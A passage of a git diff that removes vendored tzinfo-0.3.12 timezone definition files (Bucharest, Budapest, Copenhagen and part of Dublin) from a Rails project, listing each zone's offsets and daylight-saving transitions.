-          tz.transition 2050, 10, :o3, 59282629, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Bucharest.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Bucharest.rb
deleted file mode 100644
index 521c3c93..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Bucharest.rb
+++ /dev/null
@@ -1,181 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Bucharest
-        include TimezoneDefinition
-        
-        timezone 'Europe/Bucharest' do |tz|
-          tz.offset :o0, 6264, 0, :LMT
-          tz.offset :o1, 6264, 0, :BMT
-          tz.offset :o2, 7200, 0, :EET
-          tz.offset :o3, 7200, 3600, :EEST
-          
-          tz.transition 1891, 9, :o1, 964802571, 400
-          tz.transition 1931, 7, :o2, 970618571, 400
-          tz.transition 1932, 5, :o3, 29122181, 12
-          tz.transition 1932, 10, :o2, 29123789, 12
-          tz.transition 1933, 4, :o3, 29125973, 12
-          tz.transition 1933, 9, :o2, 29128157, 12
-          tz.transition 1934, 4, :o3, 29130425, 12
-          tz.transition 1934, 10, :o2, 29132609, 12
-          tz.transition 1935, 4, :o3, 29134793, 12
-          tz.transition 1935, 10, :o2, 29136977, 12
-          tz.transition 1936, 4, :o3, 29139161, 12
-          tz.transition 1936, 10, :o2, 29141345, 12
-          tz.transition 1937, 4, :o3, 29143529, 12
-          tz.transition 1937, 10, :o2, 29145713, 12
-          tz.transition 1938, 4, :o3, 29147897, 12
-          tz.transition 1938, 10, :o2, 29150081, 12
-          tz.transition 1939, 4, :o3, 29152265, 12
-          tz.transition 1939, 9, :o2, 29154449, 12
-          tz.transition 1979, 5, :o3, 296604000
-          tz.transition 1979, 9, :o2, 307486800
-          tz.transition 1980, 4, :o3, 323816400
-          tz.transition 1980, 9, :o2, 338940000
-          tz.transition 1981, 3, :o3, 354672000
-          tz.transition 1981, 9, :o2, 370396800
-          tz.transition 1982, 3, :o3, 386121600
-          tz.transition 1982, 9, :o2, 401846400
-          tz.transition 1983, 3, :o3, 417571200
-          tz.transition 1983, 9, :o2, 433296000
-          tz.transition 1984, 3, :o3, 449020800
-          tz.transition 1984, 9, :o2, 465350400
-          tz.transition 1985, 3, :o3, 481075200
-          tz.transition 1985, 9, :o2, 496800000
-          tz.transition 1986, 3, :o3, 512524800
-          tz.transition 1986, 9, :o2, 528249600
-          tz.transition 1987, 3, :o3, 543974400
-          tz.transition 1987, 9, :o2, 559699200
-          tz.transition 1988, 3, :o3, 575424000
-          tz.transition 1988, 9, :o2, 591148800
-          tz.transition 1989, 3, :o3, 606873600
-          tz.transition 1989, 9, :o2, 622598400
-          tz.transition 1990, 3, :o3, 638323200
-          tz.transition 1990, 9, :o2, 654652800
-          tz.transition 1991, 3, :o3, 670370400
-          tz.transition 1991, 9, :o2, 686095200
-          tz.transition 1992, 3, :o3, 701820000
-          tz.transition 1992, 9, :o2, 717544800
-          tz.transition 1993, 3, :o3, 733269600
-          tz.transition 1993, 9, :o2, 748994400
-          tz.transition 1994, 3, :o3, 764719200
-          tz.transition 1994, 9, :o2, 780440400
-          tz.transition 1995, 3, :o3, 796168800
-          tz.transition 1995, 9, :o2, 811890000
-          tz.transition 1996, 3, :o3, 828223200
-          tz.transition 1996, 10, :o2, 846363600
-          tz.transition 1997, 3, :o3, 859683600
-          tz.transition 1997, 10, :o2, 877827600
-          tz.transition 1998, 3, :o3, 891133200
-          tz.transition 1998, 10, :o2, 909277200
-          tz.transition 1999, 3, :o3, 922582800
-          tz.transition 1999, 10, :o2, 941331600
-          tz.transition 2000, 3, :o3, 954032400
-          tz.transition 2000, 10, :o2, 972781200
-          tz.transition 2001, 3, :o3, 985482000
-          tz.transition 2001, 10, :o2, 1004230800
-          tz.transition 2002, 3, :o3, 1017536400
-          tz.transition 2002, 10, :o2, 1035680400
-          tz.transition 2003, 3, :o3, 1048986000
-          tz.transition 2003, 10, :o2, 1067130000
-          tz.transition 2004, 3, :o3, 1080435600
-          tz.transition 2004, 10, :o2, 1099184400
-          tz.transition 2005, 3, :o3, 1111885200
-          tz.transition 2005, 10, :o2, 1130634000
-          tz.transition 2006, 3, :o3, 1143334800
-          tz.transition 2006, 10, :o2, 1162083600
-          tz.transition 2007, 3, :o3, 1174784400
-          tz.transition 2007, 10, :o2, 1193533200
-          tz.transition 2008, 3, :o3, 1206838800
-          tz.transition 2008, 10, :o2, 1224982800
-          tz.transition 2009, 3, :o3, 1238288400
-          tz.transition 2009, 10, :o2, 1256432400
-          tz.transition 2010, 3, :o3, 1269738000
-          tz.transition 2010, 10, :o2, 1288486800
-          tz.transition 2011, 3, :o3, 1301187600
-          tz.transition 2011, 10, :o2, 1319936400
-          tz.transition 2012, 3, :o3, 1332637200
-          tz.transition 2012, 10, :o2, 1351386000
-          tz.transition 2013, 3, :o3, 1364691600
-          tz.transition 2013, 10, :o2, 1382835600
-          tz.transition 2014, 3, :o3, 1396141200
-          tz.transition 2014, 10, :o2, 1414285200
-          tz.transition 2015, 3, :o3, 1427590800
-          tz.transition 2015, 10, :o2, 1445734800
-          tz.transition 2016, 3, :o3, 1459040400
-          tz.transition 2016, 10, :o2, 1477789200
-          tz.transition 2017, 3, :o3, 1490490000
-          tz.transition 2017, 10, :o2, 1509238800
-          tz.transition 2018, 3, :o3, 1521939600
-          tz.transition 2018, 10, :o2, 1540688400
-          tz.transition 2019, 3, :o3, 1553994000
-          tz.transition 2019, 10, :o2, 1572138000
-          tz.transition 2020, 3, :o3, 1585443600
-          tz.transition 2020, 10, :o2, 1603587600
-          tz.transition 2021, 3, :o3, 1616893200
-          tz.transition 2021, 10, :o2, 1635642000
-          tz.transition 2022, 3, :o3, 1648342800
-          tz.transition 2022, 10, :o2, 1667091600
-          tz.transition 2023, 3, :o3, 1679792400
-          tz.transition 2023, 10, :o2, 1698541200
-          tz.transition 2024, 3, :o3, 1711846800
-          tz.transition 2024, 10, :o2, 1729990800
-          tz.transition 2025, 3, :o3, 1743296400
-          tz.transition 2025, 10, :o2, 1761440400
-          tz.transition 2026, 3, :o3, 1774746000
-          tz.transition 2026, 10, :o2, 1792890000
-          tz.transition 2027, 3, :o3, 1806195600
-          tz.transition 2027, 10, :o2, 1824944400
-          tz.transition 2028, 3, :o3, 1837645200
-          tz.transition 2028, 10, :o2, 1856394000
-          tz.transition 2029, 3, :o3, 1869094800
-          tz.transition 2029, 10, :o2, 1887843600
-          tz.transition 2030, 3, :o3, 1901149200
-          tz.transition 2030, 10, :o2, 1919293200
-          tz.transition 2031, 3, :o3, 1932598800
-          tz.transition 2031, 10, :o2, 1950742800
-          tz.transition 2032, 3, :o3, 1964048400
-          tz.transition 2032, 10, :o2, 1982797200
-          tz.transition 2033, 3, :o3, 1995498000
-          tz.transition 2033, 10, :o2, 2014246800
-          tz.transition 2034, 3, :o3, 2026947600
-          tz.transition 2034, 10, :o2, 2045696400
-          tz.transition 2035, 3, :o3, 2058397200
-          tz.transition 2035, 10, :o2, 2077146000
-          tz.transition 2036, 3, :o3, 2090451600
-          tz.transition 2036, 10, :o2, 2108595600
-          tz.transition 2037, 3, :o3, 2121901200
-          tz.transition 2037, 10, :o2, 2140045200
-          tz.transition 2038, 3, :o3, 59172253, 24
-          tz.transition 2038, 10, :o2, 59177461, 24
-          tz.transition 2039, 3, :o3, 59180989, 24
-          tz.transition 2039, 10, :o2, 59186197, 24
-          tz.transition 2040, 3, :o3, 59189725, 24
-          tz.transition 2040, 10, :o2, 59194933, 24
-          tz.transition 2041, 3, :o3, 59198629, 24
-          tz.transition 2041, 10, :o2, 59203669, 24
-          tz.transition 2042, 3, :o3, 59207365, 24
-          tz.transition 2042, 10, :o2, 59212405, 24
-          tz.transition 2043, 3, :o3, 59216101, 24
-          tz.transition 2043, 10, :o2, 59221141, 24
-          tz.transition 2044, 3, :o3, 59224837, 24
-          tz.transition 2044, 10, :o2, 59230045, 24
-          tz.transition 2045, 3, :o3, 59233573, 24
-          tz.transition 2045, 10, :o2, 59238781, 24
-          tz.transition 2046, 3, :o3, 59242309, 24
-          tz.transition 2046, 10, :o2, 59247517, 24
-          tz.transition 2047, 3, :o3, 59251213, 24
-          tz.transition 2047, 10, :o2, 59256253, 24
-          tz.transition 2048, 3, :o3, 59259949, 24
-          tz.transition 2048, 10, :o2, 59264989, 24
-          tz.transition 2049, 3, :o3, 59268685, 24
-          tz.transition 2049, 10, :o2, 59273893, 24
-          tz.transition 2050, 3, :o3, 59277421, 24
-          tz.transition 2050, 10, :o2, 59282629, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Budapest.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Budapest.rb
deleted file mode 100644
index 1f3a9738..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Budapest.rb
+++ /dev/null
@@ -1,197 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Budapest
-        include TimezoneDefinition
-        
-        timezone 'Europe/Budapest' do |tz|
-          tz.offset :o0, 4580, 0, :LMT
-          tz.offset :o1, 3600, 0, :CET
-          tz.offset :o2, 3600, 3600, :CEST
-          
-          tz.transition 1890, 9, :o1, 10418291051, 4320
-          tz.transition 1916, 4, :o2, 29051813, 12
-          tz.transition 1916, 9, :o1, 58107299, 24
-          tz.transition 1917, 4, :o2, 58112029, 24
-          tz.transition 1917, 9, :o1, 58115725, 24
-          tz.transition 1918, 4, :o2, 29060215, 12
-          tz.transition 1918, 9, :o1, 58124773, 24
-          tz.transition 1919, 4, :o2, 29064763, 12
-          tz.transition 1919, 9, :o1, 58133197, 24
-          tz.transition 1920, 4, :o2, 29069035, 12
-          tz.transition 1920, 9, :o1, 58142341, 24
-          tz.transition 1941, 4, :o2, 58322173, 24
-          tz.transition 1942, 11, :o1, 58335973, 24
-          tz.transition 1943, 3, :o2, 58339501, 24
-          tz.transition 1943, 10, :o1, 58344037, 24
-          tz.transition 1944, 4, :o2, 58348405, 24
-          tz.transition 1944, 10, :o1, 58352773, 24
-          tz.transition 1945, 5, :o2, 29178929, 12
-          tz.transition 1945, 11, :o1, 29181149, 12
-          tz.transition 1946, 3, :o2, 58365853, 24
-          tz.transition 1946, 10, :o1, 58370389, 24
-          tz.transition 1947, 4, :o2, 58374757, 24
-          tz.transition 1947, 10, :o1, 58379125, 24
-          tz.transition 1948, 4, :o2, 58383493, 24
-          tz.transition 1948, 10, :o1, 58387861, 24
-          tz.transition 1949, 4, :o2, 58392397, 24
-          tz.transition 1949, 10, :o1, 58396597, 24
-          tz.transition 1950, 4, :o2, 58401325, 24
-          tz.transition 1950, 10, :o1, 58405861, 24
-          tz.transition 1954, 5, :o2, 58437251, 24
-          tz.transition 1954, 10, :o1, 29220221, 12
-          tz.transition 1955, 5, :o2, 58446011, 24
-          tz.transition 1955, 10, :o1, 29224601, 12
-          tz.transition 1956, 6, :o2, 58455059, 24
-          tz.transition 1956, 9, :o1, 29228957, 12
-          tz.transition 1957, 6, :o2, 4871983, 2
-          tz.transition 1957, 9, :o1, 58466653, 24
-          tz.transition 1980, 4, :o2, 323827200
-          tz.transition 1980, 9, :o1, 338950800
-          tz.transition 1981, 3, :o2, 354675600
-          tz.transition 1981, 9, :o1, 370400400
-          tz.transition 1982, 3, :o2, 386125200
-          tz.transition 1982, 9, :o1, 401850000
-          tz.transition 1983, 3, :o2, 417574800
-          tz.transition 1983, 9, :o1, 433299600
-          tz.transition 1984, 3, :o2, 449024400
-          tz.transition 1984, 9, :o1, 465354000
-          tz.transition 1985, 3, :o2, 481078800
-          tz.transition 1985, 9, :o1, 496803600
-          tz.transition 1986, 3, :o2, 512528400
-          tz.transition 1986, 9, :o1, 528253200
-          tz.transition 1987, 3, :o2, 543978000
-          tz.transition 1987, 9, :o1, 559702800
-          tz.transition 1988, 3, :o2, 575427600
-          tz.transition 1988, 9, :o1, 591152400
-          tz.transition 1989, 3, :o2, 606877200
-          tz.transition 1989, 9, :o1, 622602000
-          tz.transition 1990, 3, :o2, 638326800
-          tz.transition 1990, 9, :o1, 654656400
-          tz.transition 1991, 3, :o2, 670381200
-          tz.transition 1991, 9, :o1, 686106000
-          tz.transition 1992, 3, :o2, 701830800
-          tz.transition 1992, 9, :o1, 717555600
-          tz.transition 1993, 3, :o2, 733280400
-          tz.transition 1993, 9, :o1, 749005200
-          tz.transition 1994, 3, :o2, 764730000
-          tz.transition 1994, 9, :o1, 780454800
-          tz.transition 1995, 3, :o2, 796179600
-          tz.transition 1995, 9, :o1, 811904400
-          tz.transition 1996, 3, :o2, 828234000
-          tz.transition 1996, 10, :o1, 846378000
-          tz.transition 1997, 3, :o2, 859683600
-          tz.transition 1997, 10, :o1, 877827600
-          tz.transition 1998, 3, :o2, 891133200
-          tz.transition 1998, 10, :o1, 909277200
-          tz.transition 1999, 3, :o2, 922582800
-          tz.transition 1999, 10, :o1, 941331600
-          tz.transition 2000, 3, :o2, 954032400
-          tz.transition 2000, 10, :o1, 972781200
-          tz.transition 2001, 3, :o2, 985482000
-          tz.transition 2001, 10, :o1, 1004230800
-          tz.transition 2002, 3, :o2, 1017536400
-          tz.transition 2002, 10, :o1, 1035680400
-          tz.transition 2003, 3, :o2, 1048986000
-          tz.transition 2003, 10, :o1, 1067130000
-          tz.transition 2004, 3, :o2, 1080435600
-          tz.transition 2004, 10, :o1, 1099184400
-          tz.transition 2005, 3, :o2, 1111885200
-          tz.transition 2005, 10, :o1, 1130634000
-          tz.transition 2006, 3, :o2, 1143334800
-          tz.transition 2006, 10, :o1, 1162083600
-          tz.transition 2007, 3, :o2, 1174784400
-          tz.transition 2007, 10, :o1, 1193533200
-          tz.transition 2008, 3, :o2, 1206838800
-          tz.transition 2008, 10, :o1, 1224982800
-          tz.transition 2009, 3, :o2, 1238288400
-          tz.transition 2009, 10, :o1, 1256432400
-          tz.transition 2010, 3, :o2, 1269738000
-          tz.transition 2010, 10, :o1, 1288486800
-          tz.transition 2011, 3, :o2, 1301187600
-          tz.transition 2011, 10, :o1, 1319936400
-          tz.transition 2012, 3, :o2, 1332637200
-          tz.transition 2012, 10, :o1, 1351386000
-          tz.transition 2013, 3, :o2, 1364691600
-          tz.transition 2013, 10, :o1, 1382835600
-          tz.transition 2014, 3, :o2, 1396141200
-          tz.transition 2014, 10, :o1, 1414285200
-          tz.transition 2015, 3, :o2, 1427590800
-          tz.transition 2015, 10, :o1, 1445734800
-          tz.transition 2016, 3, :o2, 1459040400
-          tz.transition 2016, 10, :o1, 1477789200
-          tz.transition 2017, 3, :o2, 1490490000
-          tz.transition 2017, 10, :o1, 1509238800
-          tz.transition 2018, 3, :o2, 1521939600
-          tz.transition 2018, 10, :o1, 1540688400
-          tz.transition 2019, 3, :o2, 1553994000
-          tz.transition 2019, 10, :o1, 1572138000
-          tz.transition 2020, 3, :o2, 1585443600
-          tz.transition 2020, 10, :o1, 1603587600
-          tz.transition 2021, 3, :o2, 1616893200
-          tz.transition 2021, 10, :o1, 1635642000
-          tz.transition 2022, 3, :o2, 1648342800
-          tz.transition 2022, 10, :o1, 1667091600
-          tz.transition 2023, 3, :o2, 1679792400
-          tz.transition 2023, 10, :o1, 1698541200
-          tz.transition 2024, 3, :o2, 1711846800
-          tz.transition 2024, 10, :o1, 1729990800
-          tz.transition 2025, 3, :o2, 1743296400
-          tz.transition 2025, 10, :o1, 1761440400
-          tz.transition 2026, 3, :o2, 1774746000
-          tz.transition 2026, 10, :o1, 1792890000
-          tz.transition 2027, 3, :o2, 1806195600
-          tz.transition 2027, 10, :o1, 1824944400
-          tz.transition 2028, 3, :o2, 1837645200
-          tz.transition 2028, 10, :o1, 1856394000
-          tz.transition 2029, 3, :o2, 1869094800
-          tz.transition 2029, 10, :o1, 1887843600
-          tz.transition 2030, 3, :o2, 1901149200
-          tz.transition 2030, 10, :o1, 1919293200
-          tz.transition 2031, 3, :o2, 1932598800
-          tz.transition 2031, 10, :o1, 1950742800
-          tz.transition 2032, 3, :o2, 1964048400
-          tz.transition 2032, 10, :o1, 1982797200
-          tz.transition 2033, 3, :o2, 1995498000
-          tz.transition 2033, 10, :o1, 2014246800
-          tz.transition 2034, 3, :o2, 2026947600
-          tz.transition 2034, 10, :o1, 2045696400
-          tz.transition 2035, 3, :o2, 2058397200
-          tz.transition 2035, 10, :o1, 2077146000
-          tz.transition 2036, 3, :o2, 2090451600
-          tz.transition 2036, 10, :o1, 2108595600
-          tz.transition 2037, 3, :o2, 2121901200
-          tz.transition 2037, 10, :o1, 2140045200
-          tz.transition 2038, 3, :o2, 59172253, 24
-          tz.transition 2038, 10, :o1, 59177461, 24
-          tz.transition 2039, 3, :o2, 59180989, 24
-          tz.transition 2039, 10, :o1, 59186197, 24
-          tz.transition 2040, 3, :o2, 59189725, 24
-          tz.transition 2040, 10, :o1, 59194933, 24
-          tz.transition 2041, 3, :o2, 59198629, 24
-          tz.transition 2041, 10, :o1, 59203669, 24
-          tz.transition 2042, 3, :o2, 59207365, 24
-          tz.transition 2042, 10, :o1, 59212405, 24
-          tz.transition 2043, 3, :o2, 59216101, 24
-          tz.transition 2043, 10, :o1, 59221141, 24
-          tz.transition 2044, 3, :o2, 59224837, 24
-          tz.transition 2044, 10, :o1, 59230045, 24
-          tz.transition 2045, 3, :o2, 59233573, 24
-          tz.transition 2045, 10, :o1, 59238781, 24
-          tz.transition 2046, 3, :o2, 59242309, 24
-          tz.transition 2046, 10, :o1, 59247517, 24
-          tz.transition 2047, 3, :o2, 59251213, 24
-          tz.transition 2047, 10, :o1, 59256253, 24
-          tz.transition 2048, 3, :o2, 59259949, 24
-          tz.transition 2048, 10, :o1, 59264989, 24
-          tz.transition 2049, 3, :o2, 59268685, 24
-          tz.transition 2049, 10, :o1, 59273893, 24
-          tz.transition 2050, 3, :o2, 59277421, 24
-          tz.transition 2050, 10, :o1, 59282629, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Copenhagen.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Copenhagen.rb
deleted file mode 100644
index 47cbaf14..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Copenhagen.rb
+++ /dev/null
@@ -1,179 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Copenhagen
-        include TimezoneDefinition
-        
-        timezone 'Europe/Copenhagen' do |tz|
-          tz.offset :o0, 3020, 0, :LMT
-          tz.offset :o1, 3020, 0, :CMT
-          tz.offset :o2, 3600, 0, :CET
-          tz.offset :o3, 3600, 3600, :CEST
-          
-          tz.transition 1889, 12, :o1, 10417111769, 4320
-          tz.transition 1893, 12, :o2, 10423423289, 4320
-          tz.transition 1916, 5, :o3, 29051981, 12
-          tz.transition 1916, 9, :o2, 19369099, 8
-          tz.transition 1940, 5, :o3, 58314347, 24
-          tz.transition 1942, 11, :o2, 58335973, 24
-          tz.transition 1943, 3, :o3, 58339501, 24
-          tz.transition 1943, 10, :o2, 58344037, 24
-          tz.transition 1944, 4, :o3, 58348405, 24
-          tz.transition 1944, 10, :o2, 58352773, 24
-          tz.transition 1945, 4, :o3, 58357141, 24
-          tz.transition 1945, 8, :o2, 58360381, 24
-          tz.transition 1946, 5, :o3, 58366597, 24
-          tz.transition 1946, 9, :o2, 58369549, 24
-          tz.transition 1947, 5, :o3, 58375429, 24
-          tz.transition 1947, 8, :o2, 58377781, 24
-          tz.transition 1948, 5, :o3, 58384333, 24
-          tz.transition 1948, 8, :o2, 58386517, 24
-          tz.transition 1980, 4, :o3, 323830800
-          tz.transition 1980, 9, :o2, 338950800
-          tz.transition 1981, 3, :o3, 354675600
-          tz.transition 1981, 9, :o2, 370400400
-          tz.transition 1982, 3, :o3, 386125200
-          tz.transition 1982, 9, :o2, 401850000
-          tz.transition 1983, 3, :o3, 417574800
-          tz.transition 1983, 9, :o2, 433299600
-          tz.transition 1984, 3, :o3, 449024400
-          tz.transition 1984, 9, :o2, 465354000
-          tz.transition 1985, 3, :o3, 481078800
-          tz.transition 1985, 9, :o2, 496803600
-          tz.transition 1986, 3, :o3, 512528400
-          tz.transition 1986, 9, :o2, 528253200
-          tz.transition 1987, 3, :o3, 543978000
-          tz.transition 1987, 9, :o2, 559702800
-          tz.transition 1988, 3, :o3, 575427600
-          tz.transition 1988, 9, :o2, 591152400
-          tz.transition 1989, 3, :o3, 606877200
-          tz.transition 1989, 9, :o2, 622602000
-          tz.transition 1990, 3, :o3, 638326800
-          tz.transition 1990, 9, :o2, 654656400
-          tz.transition 1991, 3, :o3, 670381200
-          tz.transition 1991, 9, :o2, 686106000
-          tz.transition 1992, 3, :o3, 701830800
-          tz.transition 1992, 9, :o2, 717555600
-          tz.transition 1993, 3, :o3, 733280400
-          tz.transition 1993, 9, :o2, 749005200
-          tz.transition 1994, 3, :o3, 764730000
-          tz.transition 1994, 9, :o2, 780454800
-          tz.transition 1995, 3, :o3, 796179600
-          tz.transition 1995, 9, :o2, 811904400
-          tz.transition 1996, 3, :o3, 828234000
-          tz.transition 1996, 10, :o2, 846378000
-          tz.transition 1997, 3, :o3, 859683600
-          tz.transition 1997, 10, :o2, 877827600
-          tz.transition 1998, 3, :o3, 891133200
-          tz.transition 1998, 10, :o2, 909277200
-          tz.transition 1999, 3, :o3, 922582800
-          tz.transition 1999, 10, :o2, 941331600
-          tz.transition 2000, 3, :o3, 954032400
-          tz.transition 2000, 10, :o2, 972781200
-          tz.transition 2001, 3, :o3, 985482000
-          tz.transition 2001, 10, :o2, 1004230800
-          tz.transition 2002, 3, :o3, 1017536400
-          tz.transition 2002, 10, :o2, 1035680400
-          tz.transition 2003, 3, :o3, 1048986000
-          tz.transition 2003, 10, :o2, 1067130000
-          tz.transition 2004, 3, :o3, 1080435600
-          tz.transition 2004, 10, :o2, 1099184400
-          tz.transition 2005, 3, :o3, 1111885200
-          tz.transition 2005, 10, :o2, 1130634000
-          tz.transition 2006, 3, :o3, 1143334800
-          tz.transition 2006, 10, :o2, 1162083600
-          tz.transition 2007, 3, :o3, 1174784400
-          tz.transition 2007, 10, :o2, 1193533200
-          tz.transition 2008, 3, :o3, 1206838800
-          tz.transition 2008, 10, :o2, 1224982800
-          tz.transition 2009, 3, :o3, 1238288400
-          tz.transition 2009, 10, :o2, 1256432400
-          tz.transition 2010, 3, :o3, 1269738000
-          tz.transition 2010, 10, :o2, 1288486800
-          tz.transition 2011, 3, :o3, 1301187600
-          tz.transition 2011, 10, :o2, 1319936400
-          tz.transition 2012, 3, :o3, 1332637200
-          tz.transition 2012, 10, :o2, 1351386000
-          tz.transition 2013, 3, :o3, 1364691600
-          tz.transition 2013, 10, :o2, 1382835600
-          tz.transition 2014, 3, :o3, 1396141200
-          tz.transition 2014, 10, :o2, 1414285200
-          tz.transition 2015, 3, :o3, 1427590800
-          tz.transition 2015, 10, :o2, 1445734800
-          tz.transition 2016, 3, :o3, 1459040400
-          tz.transition 2016, 10, :o2, 1477789200
-          tz.transition 2017, 3, :o3, 1490490000
-          tz.transition 2017, 10, :o2, 1509238800
-          tz.transition 2018, 3, :o3, 1521939600
-          tz.transition 2018, 10, :o2, 1540688400
-          tz.transition 2019, 3, :o3, 1553994000
-          tz.transition 2019, 10, :o2, 1572138000
-          tz.transition 2020, 3, :o3, 1585443600
-          tz.transition 2020, 10, :o2, 1603587600
-          tz.transition 2021, 3, :o3, 1616893200
-          tz.transition 2021, 10, :o2, 1635642000
-          tz.transition 2022, 3, :o3, 1648342800
-          tz.transition 2022, 10, :o2, 1667091600
-          tz.transition 2023, 3, :o3, 1679792400
-          tz.transition 2023, 10, :o2, 1698541200
-          tz.transition 2024, 3, :o3, 1711846800
-          tz.transition 2024, 10, :o2, 1729990800
-          tz.transition 2025, 3, :o3, 1743296400
-          tz.transition 2025, 10, :o2, 1761440400
-          tz.transition 2026, 3, :o3, 1774746000
-          tz.transition 2026, 10, :o2, 1792890000
-          tz.transition 2027, 3, :o3, 1806195600
-          tz.transition 2027, 10, :o2, 1824944400
-          tz.transition 2028, 3, :o3, 1837645200
-          tz.transition 2028, 10, :o2, 1856394000
-          tz.transition 2029, 3, :o3, 1869094800
-          tz.transition 2029, 10, :o2, 1887843600
-          tz.transition 2030, 3, :o3, 1901149200
-          tz.transition 2030, 10, :o2, 1919293200
-          tz.transition 2031, 3, :o3, 1932598800
-          tz.transition 2031, 10, :o2, 1950742800
-          tz.transition 2032, 3, :o3, 1964048400
-          tz.transition 2032, 10, :o2, 1982797200
-          tz.transition 2033, 3, :o3, 1995498000
-          tz.transition 2033, 10, :o2, 2014246800
-          tz.transition 2034, 3, :o3, 2026947600
-          tz.transition 2034, 10, :o2, 2045696400
-          tz.transition 2035, 3, :o3, 2058397200
-          tz.transition 2035, 10, :o2, 2077146000
-          tz.transition 2036, 3, :o3, 2090451600
-          tz.transition 2036, 10, :o2, 2108595600
-          tz.transition 2037, 3, :o3, 2121901200
-          tz.transition 2037, 10, :o2, 2140045200
-          tz.transition 2038, 3, :o3, 59172253, 24
-          tz.transition 2038, 10, :o2, 59177461, 24
-          tz.transition 2039, 3, :o3, 59180989, 24
-          tz.transition 2039, 10, :o2, 59186197, 24
-          tz.transition 2040, 3, :o3, 59189725, 24
-          tz.transition 2040, 10, :o2, 59194933, 24
-          tz.transition 2041, 3, :o3, 59198629, 24
-          tz.transition 2041, 10, :o2, 59203669, 24
-          tz.transition 2042, 3, :o3, 59207365, 24
-          tz.transition 2042, 10, :o2, 59212405, 24
-          tz.transition 2043, 3, :o3, 59216101, 24
-          tz.transition 2043, 10, :o2, 59221141, 24
-          tz.transition 2044, 3, :o3, 59224837, 24
-          tz.transition 2044, 10, :o2, 59230045, 24
-          tz.transition 2045, 3, :o3, 59233573, 24
-          tz.transition 2045, 10, :o2, 59238781, 24
-          tz.transition 2046, 3, :o3, 59242309, 24
-          tz.transition 2046, 10, :o2, 59247517, 24
-          tz.transition 2047, 3, :o3, 59251213, 24
-          tz.transition 2047, 10, :o2, 59256253, 24
-          tz.transition 2048, 3, :o3, 59259949, 24
-          tz.transition 2048, 10, :o2, 59264989, 24
-          tz.transition 2049, 3, :o3, 59268685, 24
-          tz.transition 2049, 10, :o2, 59273893, 24
-          tz.transition 2050, 3, :o3, 59277421, 24
-          tz.transition 2050, 10, :o2, 59282629, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Dublin.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Dublin.rb
deleted file mode 100644
index 0560bb54..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Dublin.rb
+++ /dev/null
@@ -1,276 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Dublin
-        include TimezoneDefinition
-        
-        timezone 'Europe/Dublin' do |tz|
-          tz.offset :o0, -1500, 0, :LMT
-          tz.offset :o1, -1521, 0, :DMT
-          tz.offset :o2, -1521, 3600, :IST
-          tz.offset :o3, 0, 0, :GMT
-          tz.offset :o4, 0, 3600, :BST
-          tz.offset :o5, 0, 3600, :IST
-          tz.offset :o6, 3600, 0, :IST
-          
-          tz.transition 1880, 8, :o1, 693483701, 288
-          tz.transition 1916, 5, :o2, 7747214723, 3200
-          tz.transition 1916, 10, :o3, 7747640323, 3200
-          tz.transition 1917, 4, :o4, 29055919, 12
-          tz.transition 1917, 9, :o3, 29057863, 12
-          tz.transition 1918, 3, :o4, 29060119, 12
-          tz.transition 1918, 9, :o3, 29062399, 12
-          tz.transition 1919, 3, :o4, 29064571, 12
-          tz.transition 1919, 9, :o3, 29066767, 12
-          tz.transition 1920, 3, :o4, 29068939, 12
-          tz.transition 1920, 10, :o3, 29071471, 12
-          tz.transition 1921, 4, :o4, 29073391, 12
-          tz.transition 1921, 10, :o3, 29075587, 12
-          tz.transition 1922, 3, :o5, 29077675, 12
-          tz.transition 1922, 10, :o3, 29080027, 12
-          tz.transition 1923, 4, :o5, 29082379, 12
-          tz.transition 1923, 9, :o3, 29084143, 12
-          tz.transition 1924, 4, :o5, 29086663, 12
-          tz.transition 1924, 9, :o3, 29088595, 12
-          tz.transition 1925, 4, :o5, 29091115, 12
-          tz.transition 1925, 10, :o3, 29093131, 12
-          tz.transition 1926, 4, :o5, 29095483, 12
-          tz.transition 1926, 10, :o3, 29097499, 12
-          tz.transition 1927, 4, :o5, 29099767, 12
-          tz.transition 1927, 10, :o3, 29101867, 12
-          tz.transition 1928, 4, :o5, 29104303, 12
-          tz.transition 1928, 10, :o3, 29106319, 12
-          tz.transition 1929, 4, :o5, 29108671, 12
-          tz.transition 1929, 10, :o3, 29110687, 12
-          tz.transition 1930, 4, :o5, 29112955, 12
-          tz.transition 1930, 10, :o3, 29115055, 12
-          tz.transition 1931, 4, :o5, 29117407, 12
-          tz.transition 1931, 10, :o3, 29119423, 12
-          tz.transition 1932, 4, :o5, 29121775, 12
-          tz.transition 1932, 10, :o3, 29123791, 12
-          tz.transition 1933, 4, :o5, 29126059, 12
-          tz.transition 1933, 10, :o3, 29128243, 12
